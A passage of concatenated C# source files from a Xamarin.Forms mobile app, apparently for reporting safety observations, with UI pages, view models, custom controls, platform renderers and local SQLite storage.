private void ListViewMain_ItemSelected(object sender, SelectedItemChangedEventArgs e)
{
if (e.SelectedItem == null) return;
var selected = e.SelectedItem.ToString();
((ListView)sender).SelectedItem = null;
var selectedItem = new SelectedConsequences()
{
Consequences = ConsequencesSelectedEnum,
SelectedConsequence = selected
};
App.MessageHub.SendWithParameter(Messages.Consequences, selectedItem);
}
private void ButtonClose_Clicked(object sender, EventArgs e)
{
PopupNavigation.Instance.PopAsync(true);
}
private BoxView CreateFrame()
{
var frame = new BoxView
{
CornerRadius = 10,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
BackgroundColor = AppSetting.Current.Colors.AttentionPopUpBackgroundColor,
};
return frame;
}
private CustomGrid CreateGridLayout()
{
var gridLocal = new CustomGrid
{
HorizontalOptions = LayoutOptions.CenterAndExpand,
VerticalOptions = LayoutOptions.CenterAndExpand,
RowDefinitions = {
new RowDefinition { Height = App.ScreenSize.Height * 0.080 },
new RowDefinition { Height = App.ScreenSize.Height * 0.280 },
},
ColumnDefinitions = {
new ColumnDefinition { Width = App.ScreenSize.Width * 0.100 },
new ColumnDefinition { Width = App.ScreenSize.Width * 0.620 },
new ColumnDefinition { Width = App.ScreenSize.Width * 0.100 },
}
};
CompressedLayout.SetIsHeadless(gridLocal, false);
return gridLocal;
}
private CustomLabel CreateLabel(string text)
{
var label = new CustomLabel()
{
Text = text,
TextColor = AppSetting.Current.Colors.FontBlueColor,
VerticalOptions = LayoutOptions.Center,
};
return label;
}
private CustomButton CreateButton()
{
var button = new CustomButton
{
Image = Images.CancelImage,
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.End,
VerticalOptions = LayoutOptions.Start,
WidthRequest = App.ScreenSize.Width * 0.050,
HeightRequest = App.ScreenSize.Width * 0.050,
Margin = new Thickness(0, 10, 10, 0)
};
return button;
}
private CustomListView CreateListView()
{
var listView = new CustomListView(ListViewCachingStrategy.RecycleElement)
{
HorizontalOptions = LayoutOptions.Center,
VerticalOptions = LayoutOptions.CenterAndExpand,
BackgroundColor = Color.Transparent,
};
return listView;
}
}
}
<file_sep>using System;
using System.IO;
using SQLite;
using Xamarin.Forms;
using XFBase.SQLite;
[assembly: Dependency(typeof(GSK_Saftey.Droid.SQLiteDB.SQLiteAndroid))]
namespace GSK_Saftey.Droid.SQLiteDB
{
public class SQLiteAndroid : ISQLiteConnection
{
public SQLiteConnection GetConnection()
{
var filename = "GSKDatabase.db3";
var documentspath = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Personal);
var path = Path.Combine(documentspath, filename);
SQLiteConnection connection = new SQLiteConnection(path);
return connection;
}
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class XFCustomEditor : Editor
{
}
}
<file_sep>using System;
using Xamarin.Auth;
namespace GSK_Saftey.Helpers.OAuthAuthentication
{
public class AuthenticationState
{
public static OAuth2Authenticator Authenticator;
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace GSK_Saftey.Helpers.CustomControls
{
public class CustomScrollView : ScrollView
{
public CustomScrollView()
{
this.VerticalScrollBarVisibility = ScrollBarVisibility.Never;
this.WidthRequest = App.ScreenSize.Width * 0.9;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class XFCustomLabel : Label
{
public XFCustomLabel()
{
}
public void SetTextBinding(string propertyName)
{
this.SetBinding(Label.TextProperty, propertyName);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Models;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Pages.ViewCells;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class SavedDraftsPage : BasePage
{
CustomImageButton buttonBackToHomePage;
CustomStackLayout stackMain;
CustomListView listView;
CustomLabel labelNoRecords;
private bool isHistoryPage;
private SavedDraftsPageViewModel ViewModel
{
get => BindingContext as SavedDraftsPageViewModel;
set => BindingContext = value;
}
public SavedDraftsPage(SavedDraftsPageViewModel viewModel ,bool _isHistoryPage)
{
this.ViewModel = viewModel;
isHistoryPage = _isHistoryPage;
this.Title = AppResources.SavedDrafts;
if (isHistoryPage)
{
this.Title = AppResources.History;
}
Init();
}
private void Init()
{
#region Declarations
labelNoRecords = CreateLabel(AppResources.NoRecordsToDisplay);
stackMain = new CustomStackLayout();
listView = new CustomListView(ListViewCachingStrategy.RecycleElement);
listView.BackgroundColor = Color.Transparent;
listView.HeightRequest = ScreenWidth * 0.400;
listView.HasUnevenRows = true;
listView.SeparatorVisibility = SeparatorVisibility.None;
if (isHistoryPage)
{
listView.ItemTemplate = new DataTemplate(() => new HistoryViewCell(ViewModel));
listView.SetBinding(CustomListView.ItemsSourceProperty, nameof(ViewModel.SendDrafts));
if (ViewModel.SendDrafts != null && ViewModel.SendDrafts.Count == 0)
{
ViewModel.IsListViewVissable = false;
ViewModel.IsLabelVissable = true;
}
else
{
ViewModel.IsListViewVissable = true;
ViewModel.IsLabelVissable = false;
}
}
else
{
listView.ItemTemplate = new DataTemplate(()=> new SavedDraftsViewCell(ViewModel));
listView.SetBinding(CustomListView.ItemsSourceProperty, nameof(ViewModel.Drafts));
if (ViewModel.Drafts != null && ViewModel.Drafts.Count == 0)
{
ViewModel.IsListViewVissable = false;
ViewModel.IsLabelVissable = true;
}
else
{
ViewModel.IsListViewVissable = true;
ViewModel.IsLabelVissable = false;
}
}
listView.ItemTapped += ListView_ItemTapped;
buttonBackToHomePage = CreateImageButton(AppResources.BackToHomepage, Images.HomeImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonBackToHomePage.button.HeightRequest = ScreenHeight * 0.065;
buttonBackToHomePage.button.WidthRequest = ScreenWidth * 0.800;
buttonBackToHomePage.Margin = new Thickness(0, 0, 0, ScreenHeight * 0.080);
#endregion
#region Bindings
listView.SetBinding(CustomListView.IsVisibleProperty, nameof(ViewModel.IsListViewVissable));
labelNoRecords.SetBinding(Label.IsVisibleProperty, nameof(ViewModel.IsLabelVissable));
buttonBackToHomePage.button.SetBinding(CustomButton.CommandProperty, nameof(ViewModel.ButtonBackToHomePageCommand));
#endregion
#region Fill Layouts
stackMain.Children.Add(listView);
stackMain.Children.Add(labelNoRecords);
stackMain.Children.Add(buttonBackToHomePage);
Content = stackMain;
#endregion
}
private void ListView_ItemTapped(object sender, ItemTappedEventArgs e)
{
((XFCustomListView)sender).SelectedItem = null;
}
private CustomLabel CreateLabel(string text)
{
var lbl = new CustomLabel();
lbl.Text = text;
lbl.HorizontalOptions = LayoutOptions.Center;
lbl.VerticalOptions = LayoutOptions.FillAndExpand;
lbl.VerticalTextAlignment = TextAlignment.Center;
lbl.TextColor = AppSetting.Current.Colors.FontBlueColor;
lbl.FontSize = AppSetting.Current.FontSize.Large * 1.5;
return lbl;
}
protected override CustomButton CreateButton(string text)
{
var btn = base.CreateButton(text);
btn.Text = text;
btn.FontAttributes = FontAttributes.Bold;
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.BackgroundColor = AppSetting.Current.Colors.OrangeColor;
btn.Margin = new Thickness(0, ScreenHeight * 0.030, 0, ScreenHeight * 0.030);
btn.CornerRadius = 3;
btn.WidthRequest = ScreenWidth * 0.800;
btn.HorizontalOptions = LayoutOptions.Center;
btn.HeightRequest = ScreenHeight * 0.065;
btn.FontSize = AppSetting.Current.FontSize.Large;
return btn;
}
}
}
<file_sep>using System;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class HomePageViewModel : BaseViewModel
{
public ICommand ButtonSavedObservationCommand { get; private set; }
public ICommand ButtonEmergencyCommand { get; private set; }
public ICommand ButtonReportCommand { get; private set; }
public ICommand ButtonPreferencesCommand { get; private set; }
public ICommand ButtonSavedDraftsCommand { get; private set; }
public HomePageViewModel()
{
ButtonSavedObservationCommand = new Command(async () => await OnButtonSavedObservationCommand());
ButtonEmergencyCommand = new Command(async () => await OnButtonEmergencyCommand());
ButtonReportCommand = new Command(async () => await OnButtonReportCommand());
ButtonPreferencesCommand = new Command(async () => await OnButtonPreferencesCommand());
ButtonSavedDraftsCommand = new Command(async () => await SavedDraft());
}
private async Task SavedDraft()
{
await NavigateToAsync(new SavedDraftsPage(new SavedDraftsPageViewModel(false),false));
}
private async Task OnButtonPreferencesCommand()
{
await NavigateToAsync(new PreferencePage(new PreferencePageViewModel()));
}
private async Task OnButtonReportCommand()
{
await NavigateToAsync(new ReportSafetyObservationPage(new ReportSafetyObservationPageViewModel(new SafetyObservation(),true)));
}
private async Task OnButtonEmergencyCommand()
{
await NavigateToAsync(new EmergencyPage());
}
private async Task OnButtonSavedObservationCommand()
{
await NavigateToAsync(new SavedDraftsPage(new SavedDraftsPageViewModel(true),true));
}
}
}
<file_sep>using System;
namespace GSK_Saftey.Enums
{
public enum ImagesEnum
{
TakePhoto,
ChoosePhoto
}
}
<file_sep>using GSK_Saftey.Pages;
using GSK_Saftey.UWP.Renderers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Media;
using Xamarin.Forms;
using Xamarin.Forms.Platform.UWP;
using Point = Windows.Foundation.Point;
[assembly: ExportRenderer(typeof(BasePage), typeof(BasePageRenderer))]
namespace GSK_Saftey.UWP.Renderers
{
public class BasePageRenderer : PageRenderer
{
private Color[] Colors { get; set; }
protected override void UpdateBackgroundColor()
{
base.UpdateBackgroundColor();
LinearGradientBrush gradient;
GradientStopCollection stopCollection = new GradientStopCollection();
for (int i = 0, l = Colors.Length; i < l; i++)
{
stopCollection.Add(new GradientStop
{
Color = Windows.UI.Color.FromArgb((byte)(Colors[i].A * byte.MaxValue), (byte)(Colors[i].R * byte.MaxValue), (byte)(Colors[i].G * byte.MaxValue), (byte)(Colors[i].B * byte.MaxValue)),
Offset = (double)i / Colors.Length
});
}
gradient = new LinearGradientBrush
{
GradientStops = stopCollection,
StartPoint = new Point(0, 0.5),
EndPoint = new Point(1, 0.5)
};
Background = gradient;
}
protected override void OnElementChanged(ElementChangedEventArgs<Xamarin.Forms.Page> e)
{
base.OnElementChanged(e);
if (e.OldElement != null || Element == null)
return;
try
{
if (e.NewElement is BasePage page)
{
Colors = new Color [2];
Colors[0] = page.StartColor;
Colors[1] = page.EndColor;
UpdateBackgroundColor();
}
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine(@"ERROR:", ex.Message);
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomListView), typeof(CustomListViewRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomListViewRenderer : ListViewRenderer
{
public CustomListViewRenderer()
{
}
protected override void OnElementChanged(ElementChangedEventArgs<ListView> e)
{
base.OnElementChanged(e);
if (Control != null)
{
Control.ShowsVerticalScrollIndicator = false;
Control.ShowsHorizontalScrollIndicator = false;
}
}
}
}
<file_sep>using System;
using System.Diagnostics;
using System.Threading.Tasks;
using Plugin.Permissions;
using Plugin.Permissions.Abstractions;
namespace GSK_Saftey.Helpers
{
public class AppPermissions
{
public static async Task<bool> CheckPhonnePermissions(Permission permission)
{
bool statusState = false;
try
{
var status = await CrossPermissions.Current.CheckPermissionStatusAsync(permission);
if (status == PermissionStatus.Granted)
{
statusState = true;
}
else if (status != PermissionStatus.Granted)
{
var results = await CrossPermissions.Current.RequestPermissionsAsync(permission);
status = await CrossPermissions.Current.CheckPermissionStatusAsync(permission);
if (status == PermissionStatus.Granted)
{
statusState = true;
}
else
{
statusState = false;
}
}
}
catch (Exception ex)
{
Debug.Write(ex);
}
return statusState;
}
}
}<file_sep>using System;
using SQLite;
namespace GSK_Saftey.Helpers.SQLite.SQLiteModels
{
public class Preference
{
[PrimaryKey]
[AutoIncrement]
public int ID { get; set; }
public string UserName { get; set; }
public string Language { get; set; }
public string OrganisationUnit { get; set; }
public string EnvHealthAndSafetyManager { get; set; }
public string Location { get; set; }
}
}
<file_sep>using System;
using System.Globalization;
using GSK_Saftey.MessageHubMessages;
using GSK_Saftey.Pages;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Microsoft.AppCenter;
using Microsoft.AppCenter.Analytics;
using Microsoft.AppCenter.Crashes;
using Microsoft.AppCenter.Distribute;
using Xamarin.Forms;
using XFBase;
using XFBase.Messages;
namespace GSK_Saftey
{
public class App : XFAppBase
{
public App()
{
AppSetting.Init();
AppSetting.Current.GskSafetyDB.CreateTables();
AppResources.Culture = new CultureInfo("en-GB");
// The root page of your application
MainPage = new NavigationPage(new LoginPage(new LoginPageViewModel()))
{ BarBackgroundColor = AppSetting.Current.Colors.NavBarbackgroundColor };
MessageHub.Subscribe(Messages.LogOut, (sender) =>
{
MainPage = new NavigationPage(new PreferencePage(new PreferencePageViewModel()))
{ BarBackgroundColor = AppSetting.Current.Colors.NavBarbackgroundColor };
});
}
protected override void OnStart()
{
//AppConfig.Current.AutoPartsDB.CreateTables();
AppCenter.Start("ios=b3be4658-0003-4efc-8abe-83f965684732;" +
"android=296aa334-7988-4d66-a46e-f4c8f3ce6f03;",
typeof(Crashes), typeof(Distribute), typeof(Analytics));
}
protected override void OnSleep()
{
// Handle when your app sleeps
}
protected override void OnResume()
{
// Handle when your app resumes
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace XFBase.Helpers
{
public class UIHelper
{
public static string ConvertEnumToString(Enum eEnum)
{
return Enum.GetName(eEnum.GetType(), eEnum);
}
public static T ConvertStringToEnum<T>(string value)
{
return (T)Enum.Parse(typeof(T), value);
}
public static List<string> GetAllEnumValues(Type enumType)
{
return new List<string>(Enum.GetNames(enumType));
}
public static string StringToTitleCase(string s)
{
var words = s.Split(' ');
string result = "";
foreach (var item in words)
{
if (!string.IsNullOrEmpty(item))
{
if (result != "")
{
result = result + " " + item.Substring(0, 1).ToUpper() + item.Substring(1).ToLower();
}
else
{
result = item.Substring(0, 1).ToUpper() + item.Substring(1).ToLower();
}
}
}
return result;
}
public static void ListViewUnselectItem(object sender, SelectedItemChangedEventArgs e)
{
if (e.SelectedItem != null)
{
((ListView)sender).SelectedItem = null;
}
}
public static XFCustomLabel CreateLabel(string Text = "")
{
return new XFCustomLabel()
{
Text = Text,
VerticalOptions = LayoutOptions.Center,
HorizontalOptions = LayoutOptions.Center,
};
}
public static XFCustomEntry CreateEntry(string Placeholder = "", Keyboard keyboard = null)
{
return new XFCustomEntry()
{
Placeholder = Placeholder,
Keyboard = keyboard ?? Keyboard.Default,
HorizontalOptions = LayoutOptions.FillAndExpand,
};
}
public static XFCustomEditor CreateEditor(string Placeholder = "", Keyboard keyboard = null)
{
return new XFCustomEditor()
{
Keyboard = keyboard ?? Keyboard.Text,
HorizontalOptions = LayoutOptions.FillAndExpand,
};
}
public static XFCustomButton CreateButton(string Text)
{
return new XFCustomButton()
{
Text = Text,
};
}
public static CustomStackLayout CreateHorizontalStack(View left, View right)
{
return new CustomStackLayout()
{
Orientation = StackOrientation.Horizontal,
Children =
{
left,
right
}
};
}
public static void SetHorizontalOptions(View[] views, LayoutOptions horizontalOptions)
{
foreach (var item in views)
{
item.HorizontalOptions = horizontalOptions;
}
}
public static void SetVerticalOptions(View[] views, LayoutOptions verticalOptions)
{
foreach (var item in views)
{
item.VerticalOptions = verticalOptions;
}
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace XFBase.CustomUI.BasicControls
{
public class XFCustomDatePicker : DatePicker
{
public XFCustomDatePicker()
{
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class SendObservationPage : BasePage
{
Image imageSuccess;
CustomLabel labelDangerousSituation,labelSuccessfully,labelObservation,labelObservationId,labelObservationsPerYear,
labelNumberOfObservations;
CustomImageButton buttonHomepage;
CustomStackLayout stackMain,stackObservationPerYear;
ScrollView scrollView;
private SendObservationPageViewModel ViewModel
{
get => BindingContext as SendObservationPageViewModel;
set => BindingContext = value;
}
public SendObservationPage(SendObservationPageViewModel viewModel)
{
this.Title = AppResources.Success;
this.ViewModel = viewModel;
Init();
}
private void Init()
{
#region Declarations
// Images
imageSuccess = new Image
{
Source = Images.SuccessImage,
Margin = new Thickness(0,ScreenHeight * 0.100,0,0)
};
// Labels
labelDangerousSituation = CreateLabel(AppResources.YourDangerousSituatuion, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Large);
labelDangerousSituation.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
labelDangerousSituation.FontAttributes = FontAttributes.Bold;
labelSuccessfully = CreateLabel(AppResources.HasBeenSentSuccessfully, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Large);
labelSuccessfully.FontAttributes = FontAttributes.Bold;
labelObservation = CreateLabel(AppResources.ObservationId, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Large);
labelObservation.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
labelObservationId = CreateLabel("", AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Large);
labelObservationsPerYear = CreateLabel(AppResources.ObservationsSentByYou, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium);
labelObservationsPerYear.IsThin = true;
labelNumberOfObservations = CreateLabel("", AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium * 1.2);
labelNumberOfObservations.FontAttributes = FontAttributes.Bold;
// Buttons
buttonHomepage = CreateImageButton(AppResources.BackToHomepage, Images.HomeImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonHomepage.button.HeightRequest = ScreenHeight * 0.065;
buttonHomepage.button.WidthRequest = ScreenWidth * 0.800;
// Layouts
stackMain = new CustomStackLayout();
stackObservationPerYear = new CustomStackLayout();
stackObservationPerYear.HorizontalOptions = LayoutOptions.Center;
stackObservationPerYear.Spacing = 5;
stackObservationPerYear.Orientation = StackOrientation.Horizontal;
stackObservationPerYear.Margin = new Thickness(0, ScreenHeight * 0.100, 0, ScreenHeight * 0.100);
scrollView = new ScrollView();
scrollView.WidthRequest = ScreenWidth * 0.800;
scrollView.HorizontalOptions = LayoutOptions.Center;
scrollView.Content = stackMain;
#endregion
#region Bindings
labelObservationId.SetBinding(Label.TextProperty, nameof(ViewModel.ObservationId));
labelNumberOfObservations.SetBinding(Label.TextProperty, nameof(ViewModel.ObservationsPerYear));
buttonHomepage.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonHomepageCommand));
#endregion
#region Fill Layouts
stackObservationPerYear.Children.Add(labelObservationsPerYear);
stackObservationPerYear.Children.Add(labelNumberOfObservations);
stackMain.Children.Add(imageSuccess);
stackMain.Children.Add(labelDangerousSituation);
stackMain.Children.Add(labelSuccessfully);
stackMain.Children.Add(labelObservation);
stackMain.Children.Add(labelObservationId);
stackMain.Children.Add(stackObservationPerYear);
stackMain.Children.Add(buttonHomepage);
this.Content = scrollView;
#endregion
}
protected override CustomLabel CreateLabel(string text, Color textColor, double? fontSize)
{
var lbl = base.CreateLabel(text, textColor, fontSize);
lbl.HorizontalOptions = LayoutOptions.Center;
return lbl;
}
protected override CustomButton CreateButton(string text)
{
var btn = base.CreateButton(text);
btn.FontSize = AppSetting.Current.FontSize.Large;
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.BackgroundColor = AppSetting.Current.Colors.OrangeColor;
btn.FontAttributes = FontAttributes.Bold;
btn.Margin = new Thickness(0, ScreenHeight * 0.100, 0, ScreenHeight * 0.025);
return btn;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Models;
using GSK_Saftey.Settings;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class SavedDraftsPageViewModel : BaseViewModel
{
private bool isListViewVissable;
private bool isLabelVissable;
public bool IsListViewVissable
{
get { return isListViewVissable; }
set
{
if (isListViewVissable != value)
{
isListViewVissable = value;
OnPropertyChanged(nameof(IsListViewVissable));
}
}
}
public bool IsLabelVissable
{
get { return isLabelVissable; }
set
{
if (isLabelVissable != value)
{
isLabelVissable = value;
OnPropertyChanged(nameof(IsLabelVissable));
}
}
}
private List<SafetyObservation> drafts;
public List<SafetyObservation> Drafts
{
get { return drafts; }
set
{
if (drafts != value)
{
drafts = value;
}
OnPropertyChanged(nameof(Drafts));
}
}
private List<SafetyObservation> sendDrafts;
public List<SafetyObservation> SendDrafts
{
get { return sendDrafts; }
set
{
if (sendDrafts != value)
{
sendDrafts = value;
}
OnPropertyChanged(nameof(SendDrafts));
}
}
public ICommand ButtonBackToHomePageCommand { get; private set; }
public SavedDraftsPageViewModel(bool isHistoryPage)
{
ButtonBackToHomePageCommand = new Command(async () => await OnButtonBackToHomePageCommand());
if (isHistoryPage)
{
PopulateSendDrafts();
}
else
{
PopulateDrafts();
}
}
public void DeleteDraft(int id)
{
var safetyObservation = Drafts.Where(d => d.ID == id).FirstOrDefault();
if (safetyObservation != null)
{
AppSetting.Current.GskSafetyDB.Repository.Delete<SafetyObservation>(safetyObservation);
PopulateDrafts();
if (Drafts != null && Drafts.Count == 0)
{
IsListViewVissable = false;
IsLabelVissable = true;
}
}
}
public async Task PreviewDraft(int id)
{
var safetyObservation = Drafts.Where(d => d.ID == id).FirstOrDefault();
if (safetyObservation != null)
{
await NavigateToAsync(new PreviewPage(new PreviewPageViewModel(safetyObservation)));
}
}
public async Task PreviewSendDraft(int id, bool isHistory = false)
{
var safetyObservation = SendDrafts.Where(d => d.ID == id).FirstOrDefault();
if (safetyObservation != null)
{
await NavigateToAsync(new PreviewPage(new PreviewPageViewModel(safetyObservation), isHistory));
}
}
private async Task OnButtonBackToHomePageCommand()
{
await Application.Current.MainPage.Navigation.PopToRootAsync(true);
}
private void PopulateDrafts()
{
Drafts = AppSetting.Current.GskSafetyDB.Repository.GetAllData<SafetyObservation>();
}
private void PopulateSendDrafts()
{
SendDrafts = AppSetting.Current.GskSafetyDB.Repository.GetAllData<SafetyObservation>();
}
}
}
<file_sep>using System;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Helpers.CustomControls
{
public class CustomButton : XFBase.CustomUI.XFCustomButton
{
public static readonly BindableProperty IsThinProperty =
BindableProperty.Create("IsThinProperty", typeof(bool), typeof(CustomButton), false);
public bool IsThin
{
get { return (bool)GetValue(IsThinProperty); }
set { SetValue(IsThinProperty, value); }
}
public CustomButton()
{
this.CornerRadius = 3;
}
public Color BackgroundStartColor { get; set; }
public Color BackgroundEndColor { get; set; }
}
}
<file_sep>using System;
using System.Diagnostics;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class DescriptionOfObservationPageViewModel : BaseViewModel
{
private SafetyObservation safetyObservation;
private string textDescription;
private string textAction;
public string TextDescription
{
get { return textDescription; }
set
{
if (textDescription != value)
{
textDescription = value;
OnPropertyChanged(nameof(TextDescription));
}
}
}
public string TextAction
{
get { return textAction; }
set
{
if (textAction != value)
{
textAction = value;
OnPropertyChanged(nameof(TextAction));
}
}
}
public ICommand ButtonNextCommand { get; private set; }
public ICommand ButtonSaveCommand { get; private set; }
public DescriptionOfObservationPageViewModel(SafetyObservation _safetyObservation)
{
safetyObservation = _safetyObservation;
if (safetyObservation != null)
{
textDescription = safetyObservation.Description;
textAction = safetyObservation.ImmediateAction;
}
ButtonNextCommand = new Command(async () => await OnButtonNextCommand());
ButtonSaveCommand = new Command(async () => await OnButtonSaveCommand());
}
private async Task OnButtonSaveCommand()
{
try
{
safetyObservation.Description = TextDescription;
safetyObservation.ImmediateAction = TextAction;
if (safetyObservation != null && safetyObservation.ID > 0)
{
AppSetting.Current.GskSafetyDB.Repository.Update<SafetyObservation>(safetyObservation);
}
else
{
AppSetting.Current.GskSafetyDB.Repository.Add<SafetyObservation>(safetyObservation);
}
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.DescriptionOfObservation, "Saved!"));
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
private async Task OnButtonNextCommand()
{
safetyObservation.Description = TextDescription;
safetyObservation.ImmediateAction = TextAction;
await NavigateToAsync(new ProposeActionPage(new ProposeActionPageViewModel(safetyObservation)));
}
}
}
<file_sep>using System;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.ContentViews;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class ReportSafetyObservationPage : BasePage
{
CustomLabel labelDate, labelTime, labelTitleOfObservation, labelAdministrative, labelWitness;
CustomImageButton buttonImageNext;
CustomButton buttonAdministrativeYes, buttonAdministrativeNo,
buttonWitnessYes, buttonWitnessNo;
CustomPicker pickerObservation;
CustomEntry entryWitness;
CustomDatePicker pickerDate;
CustomTimePicker pickerTime;
CustomStackLayout stackMain, stackTime, stackDate, stackDateTime,stackAdministrative,stackWitness;
CustomScrollView scrollView;
Image imageAdministrative, imageWitness;
StepBarView stepBar;
CustomGrid grid;
BoxView separator;
SaveCancelView saveCancelView;
RoundedView roundedPickerDate, roundedPickerTime, roundedPickerObservation, roundedEntryWitness,roundedGrid;
TapGestureRecognizer tapWitness, tapAdministrative;
private int currentStep = 1;
private ReportSafetyObservationPageViewModel ViewModel
{
get => BindingContext as ReportSafetyObservationPageViewModel;
set => BindingContext = value;
}
public ReportSafetyObservationPage(ReportSafetyObservationPageViewModel viewModel)
{
this.ViewModel = viewModel;
this.Title = AppResources.ReportSafetyObservation;
Init();
}
private void Init()
{
#region Declarations
// StepBar
stepBar = new StepBarView(currentStep);
stepBar.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
// Labels
InitialiseLables();
// Buttons
InitialiseButtons();
// Pickers
InitialisePickers();
// Separator
separator = new BoxView();
separator.WidthRequest = ScreenWidth * 0.800;
separator.HeightRequest = 2;
separator.VerticalOptions = LayoutOptions.Center;
separator.Color = Color.White;
// Entries
roundedPickerObservation = CreateRoundedView(pickerObservation);
pickerObservation.WidthRequest = ScreenWidth * 0.740;
pickerObservation.SetBinding(CustomPicker.IsFocusedProperty, nameof(ViewModel.IsPickerFocused));
pickerObservation.TextColor = AppSetting.Current.Colors.FontBlueColor;
pickerObservation.IsThin = true;
pickerObservation.Unfocused += PickerObservation_Unfocused;
roundedPickerObservation.Margin = new Thickness(0, -(ScreenHeight * 0.025), 0, 0);
roundedPickerObservation.HorizontalOptions = LayoutOptions.Center;
entryWitness = CreateEntry();
entryWitness.BackgroundColor = Color.White;
entryWitness.FontSize = AppSetting.Current.FontSize.Medium;
if ( Device.RuntimePlatform == Device.Android)
{
entryWitness.FontSize = AppSetting.Current.FontSize.Medium * 0.85;
entryWitness.VerticalOptions = LayoutOptions.End;
}
entryWitness.TextColor = AppSetting.Current.Colors.FontBlueColor;
entryWitness.isThin = true;
entryWitness.WidthRequest = ScreenWidth * 0.400;
roundedEntryWitness = CreateRoundedView(entryWitness);
roundedEntryWitness.WidthRequest = ScreenWidth * 0.400;
roundedEntryWitness.frame.BackgroundColor = Color.White;
roundedEntryWitness.VerticalOptions = LayoutOptions.End;
roundedEntryWitness.HorizontalOptions = LayoutOptions.Center;
// Images
imageAdministrative = CreateImage();
imageAdministrative.HorizontalOptions = LayoutOptions.End;
imageAdministrative.Margin = new Thickness(0, 8, 8, 0);
tapAdministrative = new TapGestureRecognizer();
imageAdministrative.GestureRecognizers.Add(tapAdministrative);
imageWitness = CreateImage();
imageWitness.HorizontalOptions = LayoutOptions.Center;
imageWitness.Margin = new Thickness(0, 8, 10, 0);
tapWitness = new TapGestureRecognizer();
imageWitness.GestureRecognizers.Add(tapWitness);
// Layouts
InitialiseLayouts();
#endregion
#region Bindings
stackWitness.SetBinding(CustomStackLayout.IsVisibleProperty, nameof(ViewModel.IsLabelVisible));
roundedEntryWitness.SetBinding(Entry.IsVisibleProperty, nameof(ViewModel.IsEntryVisible));
entryWitness.SetBinding(Entry.TextProperty, nameof(ViewModel.EntryWitnessText));
buttonImageNext.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonNextCommand));
buttonAdministrativeYes.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonAdministrativeCommand));
buttonAdministrativeYes.SetBinding(Button.TextColorProperty, nameof(ViewModel.ButtonAdministrativeYesTextColor));
buttonAdministrativeYes.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.ButtonAdministrativeYesBackgroundColor));
buttonAdministrativeNo.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonAdministrativeCommand));
